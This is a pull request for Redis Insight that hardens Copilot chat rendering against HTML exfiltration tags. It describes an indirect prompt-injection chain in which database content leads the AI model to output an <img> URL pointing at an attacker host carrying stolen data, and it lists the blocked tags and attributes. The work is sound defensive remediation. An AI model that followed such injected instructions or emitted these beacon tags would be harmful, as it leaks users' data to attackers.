fix(copilot): block HTML exfiltration vectors in AI chat rendering (RED-194228)#6156
fix(copilot): block HTML exfiltration vectors in AI chat rendering (RED-194228)#6156DimoHG wants to merge 3 commits into
Conversation
…ED-194228) Redis Copilot answers are rendered via react-jsx-parser with raw HTML passed through (allowDangerousHtml). The only blacklisted tags were `iframe` and `script`, so an AI response containing `<img src=...>` (or other passive network tags) rendered as a live element and issued an outbound request on load. Because message content can be influenced by untrusted data through indirect prompt injection (a malicious instruction stored in a database field that Copilot later summarizes), an attacker could smuggle stolen data into an `<img>` URL and exfiltrate it to an attacker-controlled host — the core of VDP-4596 / HackerOne #3680497. Block every tag able to trigger an outbound request (img, image, picture, source, video, audio, track, object, embed, link, svg, input) and strip the `style` attribute (CSS `background-image: url(...)` is another beacon). Scoped to the AI-chat render path only; tutorials use a separate renderer and legitimately display images. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 79a62af433
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
Code Coverage - Frontend unit tests
Test suite run success7599 tests passing in 847 suites. Report generated by 🧪jest coverage report action from 8d18682 |
…ring - Remove 'link' from tag blacklist: JsxParser matches blacklistedTags case-insensitively, so it also suppressed the legit PascalCase <Link> component and dropped rendered links. Strip raw <link> via regex instead, mirroring InternalPage. - Add 'style' to the tag blacklist for parity with InternalPage (defense in depth against CSS @import beacons). - Anchor the style-attribute matcher to /^style$/i. - Make security tests await the async render before asserting absence, and add <style>/<link> element cases. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes using default effort and found 1 potential issue.
❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, have a team admin enable autofix in the Cursor dashboard.
Reviewed by Cursor Bugbot for commit ccde3a9. Configure here.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: ccde3a9cc5
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
Address bot review on the previous commit:
- Remove the LOWERCASE_LINK_TAG global string replace. It ran over the whole
formatted JSX (including fenced code emitted as <Code>{JSON.stringify(...)}
</Code>), so a <link> inside a code snippet was deleted, corrupting the
block. Raw <link> elements are already stripped by remarkSanitize (DOMPurify)
during formatting, before the PascalCase <Link> component is generated, so
the regex was redundant as well as harmful.
- Block the legacy `background` URI attribute (/^background$/i): DOMPurify keeps
it on <table>/<td> and browsers load it as an image URL, another render-time
exfiltration vector.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
|
@codex review Latest commit
Please re-review. |
|
Codex Review: Didn't find any major issues. Swish! Reviewed commit: ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
If Codex has suggestions, it will comment; otherwise it will react with 👍. Codex can also answer questions or update the PR. Try commenting "@codex address that feedback". |

Fixes the client-side, exploitable part of VDP-4596 / HackerOne #3680497 (CVSS 5.9, Medium).
Problem
Redis Copilot AI responses are rendered through
react-jsx-parserwith raw HTML passed through (allowDangerousHtml). The only blacklisted tags wereiframeandscript, so an AI response containing<img src="https://attacker/?data=...">(or other passive network tags) rendered as a live element and issued an outbound request on load.Combined with indirect prompt injection (untrusted database content treated as instructions by the remote Copilot model), an attacker can smuggle another record's data into that URL and exfiltrate it to an attacker-controlled host — the exfiltration channel at the end of the reported chain.
Fix
Scoped to the Copilot render path (
MarkdownMessage.tsx):img, image, picture, source, video, audio, track, object, embed, link, svg, input(plus existingiframe, script).styleattribute in addition toon*handlers — CSSbackground-image: url(...)is another beacon.Copilot answers are plain markdown (text, tables, code, links) and never legitimately contain images/media. Tutorials render via a separate component (
InternalPage.tsx) and do use images, so the sharedremarkSanitizeis intentionally left untouched.Out of scope (remote services)
The LLM, system prompt, and tool orchestration run on remote services (
redis.io/convai,cloud-copilot-service), not in this repo. System-prompt disclosure, prompt-injection resistance, and instruction/data isolation should be handled by the Copilot backend owners.Testing
securitytests inMarkdownMessage.spec.tsxassert<img>,video/object/embed/iframe, and inlinestyledo not render (5/5 pass).<img src="https://…">payload in a doc field, ask Copilot to summarize, and confirm no outbound request appears in the devtools Network tab.🤖 Generated with Claude Code
Note
Medium Risk
Security fix on untrusted AI-rendered HTML; scope is limited to Copilot’s
MarkdownMessage, but parser/sanitize edge cases could still affect legitimate markdown links or tables.Overview
Hardens Copilot AI message rendering so crafted HTML in model output cannot trigger outbound requests (e.g.
<img src="https://attacker/?data=...">) and exfiltrate data after indirect prompt injection (VDP-4596 / RED-194228).MarkdownMessagenow passes a broadBLACKLISTED_TAGSlist toreact-jsx-parser(media/embed tags plus existingiframe/script) andBLACKLISTED_ATTRSto stripstyle, legacybackground, andon*handlers that could beacon via CSS or events. Raw<link>is not tag-blacklisted (would break PascalCase<Link>); tests still expect it not to appear in the DOM via the markdown sanitize path.Tests replace a debug stub with
waitFor-based coverage: plain markdown plus asecuritysuite forimg,video/object/embed/iframe, inlinestyle,<style>,background, and<link>.Reviewed by Cursor Bugbot for commit 8d18682. Bugbot is set up for automated code reviews on this repo. Configure here.